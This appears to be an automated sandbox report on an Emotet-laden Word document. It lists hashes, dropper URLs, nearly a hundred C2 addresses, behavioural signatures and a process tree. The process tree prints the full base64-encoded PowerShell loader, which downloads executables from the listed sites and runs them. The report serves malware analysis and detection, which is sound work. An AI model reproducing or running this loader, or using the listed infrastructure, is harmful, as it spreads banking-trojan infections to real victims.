emotet | 391cd9bd45449d75d87e8d3b434aeed7fc41ee587f7b36345418f388f2acb390

General

Target
からの変更19.doc
Size 190KB
Sample200919-c445yy15aj
SHA256 391cd9bd45449d75d87e8d3b434aeed7fc41ee587f7b36345418f388f2acb390
MD5 c9c2474e0f0c485e081ec60fa59a04ed
SHA1 84597dae9fe9689e5f93623dd3f5e5c241df72c7
SHA512 173c9c4a9a4d0204e45870f5e81a5e31b8e7a605e44008470005160cdcd06b032e6fcff2c8138fe9714ceeaad22184a7e8a0bb540d6b10d7805f60f56bc0b3e3
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://geisterhouse.com/cgi-bin/LAb1/
exe.dropper
http://amyemitchell.com/themes/w/
exe.dropper
http://forestanalytics.net/images/57A7/
exe.dropper
https://konican.com/cgi-bin/cWu/
exe.dropper
http://strike3productions.com/squad/3aV6xrH/
exe.dropper
http://riandutra.com/img/wOMENgh/
exe.dropper
http://justinscott.com.au/sites/rRS/

Extracted

Family

emotet

C2

71.72.196.159:80
134.209.36.254:8080
120.138.30.150:8080
94.23.216.33:80
157.245.99.39:8080
137.59.187.107:8080
94.23.237.171:443
61.19.246.238:443
156.155.166.221:80
50.35.17.13:80
153.137.36.142:80
91.211.88.52:7080
209.141.54.221:8080
185.94.252.104:443
174.45.13.118:80
87.106.136.232:8080
62.75.141.82:80
213.196.135.145:80
188.219.31.12:80
82.80.155.43:80
187.161.206.24:80
172.91.208.86:80
124.41.215.226:80
107.5.122.110:80
200.123.150.89:443
95.179.229.244:8080
83.169.36.251:8080
1.221.254.82:80
95.213.236.64:8080
181.169.34.190:80
47.144.21.12:443
203.153.216.189:7080
89.216.122.92:80
84.39.182.7:80
94.200.114.161:80
104.236.246.93:8080
139.99.158.11:443
176.111.60.55:8080
78.24.219.147:8080
220.245.198.194:80
62.30.7.67:443
139.162.108.71:8080
104.32.141.43:80
153.232.188.106:80
93.147.212.206:80
79.137.83.50:443
96.249.236.156:443
24.43.99.75:80
75.80.124.4:80
42.200.107.142:80
110.5.16.198:80
5.196.74.210:8080
110.145.77.103:80
200.114.213.233:8080
85.152.162.105:80
5.39.91.110:7080
109.74.5.95:8080
140.186.212.146:80
37.187.72.193:8080
97.82.79.83:80
139.130.242.43:80
201.173.217.124:443
123.176.25.234:80
104.131.44.150:8080
74.208.45.104:8080
139.59.60.244:8080
120.150.60.189:80
74.219.172.26:80
219.75.128.166:80
82.225.49.121:80
85.105.205.77:8080
24.179.13.119:80
74.120.55.163:80
174.102.48.180:443
219.74.18.66:443
168.235.67.138:7080
194.187.133.160:443
78.187.156.31:80
103.86.49.11:8080
61.92.17.12:80
24.137.76.62:80
104.131.11.150:443
79.98.24.39:8080
75.139.38.211:80
162.241.242.173:8080
195.251.213.56:80
37.139.21.175:8080
46.105.131.79:8080
50.91.114.38:80
121.124.124.40:7080
74.134.41.124:80
68.188.112.97:80
137.119.36.33:80
121.7.127.163:80
87.106.139.101:8080
94.1.108.190:443
169.239.182.217:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2600	3920	powershell.exe	72

Emotet Payload 6 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/1156-14-0x00000000005D0000-0x00000000005E2000-memory.dmp	emotet
behavioral2/memory/1156-14-0x00000000005D0000-0x00000000005E2000-memory.dmp	emotet
behavioral2/memory/1156-15-0x00000000001F0000-0x0000000000200000-memory.dmp	emotet
behavioral2/memory/1156-15-0x00000000001F0000-0x0000000000200000-memory.dmp	emotet
behavioral2/memory/3808-18-0x0000000000590000-0x00000000005A2000-memory.dmp	emotet
behavioral2/memory/3808-18-0x0000000000590000-0x00000000005A2000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
25	2600	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
1156	M5km4176.exe
3808	AppxPackaging.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\KBDSYR2\AppxPackaging.exe	M5km4176.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3952	WINWORD.EXE
3952	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2600	powershell.exe
2600	powershell.exe
2600	powershell.exe
3808	AppxPackaging.exe
3808	AppxPackaging.exe
3808	AppxPackaging.exe
3808	AppxPackaging.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2600	powershell.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
3952	WINWORD.EXE
3952	WINWORD.EXE
3952	WINWORD.EXE
3952	WINWORD.EXE
3952	WINWORD.EXE
3952	WINWORD.EXE
3952	WINWORD.EXE
3952	WINWORD.EXE
3952	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2600 wrote to memory of 1156	2600	powershell.exe	79
PID 2600 wrote to memory of 1156	2600	powershell.exe	79
PID 2600 wrote to memory of 1156	2600	powershell.exe	79
PID 1156 wrote to memory of 3808	1156	M5km4176.exe	81
PID 1156 wrote to memory of 3808	1156	M5km4176.exe	81
PID 1156 wrote to memory of 3808	1156	M5km4176.exe	81

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\からの変更19.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3952

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -en JABMAGwAZABsAGsANQB0AD0AKAAoACcAVAAnACsAJwBoAG0AZwAyACcAKQArACcAaQB3ACcAKQA7AC4AKAAnAG4AZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUATgBWADoAVQBTAEUAUgBwAHIAbwBGAEkAbABFAFwARQBwADEAcwA4AFUAVgBcAGMAZABjADgAYgA2AFUAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAFIARQBDAHQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBDAFUAcgBgAGkAYABUAGAAWQBQAHIATwBUAE8AYABDAG8ATAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzADEAJwApACsAJwAyACcAKwAoACcALAAgAHQAJwArACcAbAAnACkAKwAoACcAcwAxADEALAAgAHQAJwArACcAbABzACcAKQApADsAJABMAGkAOAAzAHAAbQBoACAAPQAgACgAKAAnAE0ANQAnACsAJwBrAG0ANAAxACcAKQArACcANwA2ACcAKQA7ACQAUwA0AHgAdQBfAHEAdwA9ACgAKAAnAEMAbQBkAGkANwAnACsAJwA5ACcAKQArACcAbQAnACkAOwAkAEsANgBkADcAMgB3ADgAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwB6ACcAKwAnADEAJwArACcAeQBFAHAAMQBzACcAKwAnADgAdQB2AHoAJwApACsAJwAxAHkAJwArACgAJwBDAGQAYwAnACsAJwA4AGIAJwApACsAKAAnADYAdQB6ACcAKwAnADEAeQAnACkAKQAuACIAcgBFAHAAYABsAGEAYwBlACIAKAAoAFsAYwBoAGEAcgBdADEAMgAyACsAWwBjAGgAYQByAF0ANAA5ACsAWwBjAGgAYQByAF0AMQAyADEAKQAsACcAXAAnACkAKQArACQATABpADgAMwBwAG0AaAArACgAJwAuACcAKwAoACcAZQAnACsAJwB4AGUAJwApACkAOwAkAEIAMwB6AGgAcAB5ADYAPQAoACgAJwBLAHAAJwArACcAaQAnACkAKwAoACcAdQAnACsAJwBpAGEAMQAnACkAKQA7ACQASQB4AGMAcwBnAG8AMQA9AC4AKAAnAG4AJwArACcAZQB3AC0AJwArACcAbwBiAGoAZQBjAHQAJwApACAAbgBlAHQALgB3AEUAYgBDAEwASQBFAG4AVAA7ACQASAB4AHoANABvAHgAYQA9ACgAKAAnAGgAJwArACcAdAB0AHAAOgAnACkAKwAnAC8ALwAnACsAKAAnAGcAZQBpAHMAdAAnACsAJwBlACcAKQArACgAJwByACcAKwAnAGgAbwAnACkAKwAnAHUAcwAnACsAKAAnAGUALgAnACsAJwBjACcAKQArACgAJwBvAG0AJwArACcALwAnACkAKwAoACcAYwBnAGkAJwArACcALQBiAGkAJwArACcAbgAnACsAJwAvAEwAJwApACsAKAAnAEEAYgAnACsAJwAxACcAKQArACgAJwAvACoAaAAnACsAJwB0AHQAcAA6ACcAKQArACgAJwAvACcAKwAnAC8AYQBtACcAKQArACgAJwB5ACcAKwAnAGUAbQBpAHQAJwApACsAKAAnAGMAaAAnACsAJwBlAGwAJwApACsAJwBsACcAKwAnAC4AJwArACcAYwBvACcAKwAnAG0AJwArACgAJwAvAHQAJwArACcAaAAnACkAKwAnAGUAJwArACgAJwBtAGUAJwArACcAcwAnACkAKwAnAC8AdwAnACsAJwAvACoAJwArACgAJwBoAHQAJwArACcAdABwACcAKQArACcAOgAnACsAJwAvAC8AJwArACcAZgAnACsAJwBvACcAKwAoACcAcgAnACsAJwBlAHMAdAAnACkAKwAnAGEAbgAnACsAJwBhACcAKwAoACcAbAB5AHQAJwArACcAaQBjAHMALgAnACsAJwBuAGUAJwApACsAKAAnAHQALwAnACsAJwBpAG0AYQAnACkAKwAoACcAZwBlAHMALwA1ADcAJwArACcAQQA3AC8AKgBoAHQAdABwAHMAOgAvAC8AawAnACsAJwBvAG4AaQAnACsAJwBjACcAKwAnAGEAJwArACcAbgAuAGMAbwAnACkAKwAnAG0AJwArACgAJwAvACcAKwAnAGMAZwBpAC0AJwApACsAKAAnAGIAaQAnACsAJwBuAC8AYwAnACkAKwAoACcAVwAnACsAJwB1AC8AKgAnACsAJwBoAHQAdAAnACkAKwAnAHAAOgAnACsAKAAnAC8ALwBzAHQAJwArACcAcgAnACkAKwAoACcAaQBrAGUAMwAnACsAJwBwACcAKQArACgAJwByAG8AJwArACcAZAB1ACcAKQArACcAYwAnACsAKAAnAHQAJwArACcAaQBvAG4AcwAuAGMAbwAnACkAKwAnAG0AJwArACgAJwAvAHMAcQAnACsAJwB1AGEAZAAvACcAKQArACgAJwAzAGEAJwArACcAVgAnACkAKwAnADYAJwArACgAJwB4AHIAJwArACcASAAvACcAKQArACcAKgBoACcAKwAoACcAdAB0ACcAKwAnAHAAOgAvACcAKwAnAC8AcgBpAGEAJwApACsAJwBuAGQAJwArACgAJwB1AHQAJwArACcAcgAnACkAKwAoACcAYQAuACcAKwAnAGMAbwBtAC8AaQAnACkAKwAnAG0AJwArACgAJwBnAC8AdwAnACsAJwBPACcAKQArACgAJwBNAEUAJwArACcATgBnACcAKQArACgAJwBoAC8AKgAnACsAJwBoACcAKQArACcAdAB0ACcAKwAnAHAAJwArACgAJwA6AC8ALwBqAHUAcwB0ACcAKwAnAGkAbgAnACkAKwAnAHMAYwAnACsAKAAnAG8AdAB0ACcAKwAnAC4AJwArACcAYwBvAG0AJwApACsAKAAnAC4AJwArACcAYQB1ACcAKQArACcALwAnACsAKAAnAHMAaQB0AGUAcwAnACsAJwAvACcAKQArACgAJwByAFIAJwArACcAUwAvACoAJwApACkALgAiAFMAYABwAEwASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARwBiAHYAYgA3AGUAMgA9ACgAJwBTAHMAJwArACgAJwB4ACcAKwAnADgAcwAnACkAKwAnAG8AdwAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABaAHoAYwBxADIAcwBoACAAaQBuACAAJABIAHgAegA0AG8AeABhACkAewB0AHIAeQB7ACQASQB4AGMAcwBnAG8AMQAuACIARABgAE8AVwBgAE4AbABPAEEAZABmAGAAaQBsAEUAIgAoACQAWgB6AGMAcQAyAHMAaAAsACAAJABLADYAZAA3ADIAdwA4ACkAOwAkAFkAcQAyADAAZwB4ADcAPQAoACgAJwBZACcAKwAnAGUAZQAnACkAKwAnAHUAJwArACgAJwBpAGMAJwArACcAcAAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAnACsAJwAtAEkAdABlACcAKwAnAG0AJwApACAAJABLADYAZAA3ADIAdwA4ACkALgAiAGwAZQBgAE4ARwBgAFQAaAAiACAALQBnAGUAIAAyADEANQAxADQAKQAgAHsALgAoACcASQBuACcAKwAnAHYAbwBrACcAKwAnAGUALQBJAHQAJwArACcAZQBtACcAKQAoACQASwA2AGQANwAyAHcAOAApADsAJABSAF8ANQBuAGsAYQA4AD0AKAAoACcAWQByACcAKwAnADgAYQAwACcAKQArACcAYQBhACcAKQA7AGIAcgBlAGEAawA7ACQASQB3ADMAawAyAGoAdwA9ACgAKAAnAE4AYwAyAGEAJwArACcAZwAnACkAKwAnAHQAJwArACcAeQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE8AagA1AHAAMwB0AHkAPQAoACgAJwBWACcAKwAnADkAaQBmACcAKQArACgAJwAwAGIAJwArACcAYQAnACkAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2600
- C:\Users\Admin\Ep1s8uv\Cdc8b6u\M5km4176.exe
  "C:\Users\Admin\Ep1s8uv\Cdc8b6u\M5km4176.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:1156
- - C:\Windows\SysWOW64\KBDSYR2\AppxPackaging.exe
    "C:\Windows\SysWOW64\KBDSYR2\AppxPackaging.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:3808

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1156-15-0x00000000001F0000-0x0000000000200000-memory.dmp

Download

memory/1156-14-0x00000000005D0000-0x00000000005E2000-memory.dmp

Download

memory/2600-10-0x000001A6EB5B0000-0x000001A6EB5B1000-memory.dmp

Download

memory/2600-9-0x000001A6EB400000-0x000001A6EB401000-memory.dmp

Download

memory/2600-8-0x00007FFB392E0000-0x00007FFB39CCC000-memory.dmp

Download

memory/3808-18-0x0000000000590000-0x00000000005A2000-memory.dmp

Download

memory/3952-0-0x00007FFB46530000-0x00007FFB46BF6000-memory.dmp

Download

memory/3952-4-0x0000018F8BBEC000-0x0000018F8BCD3000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads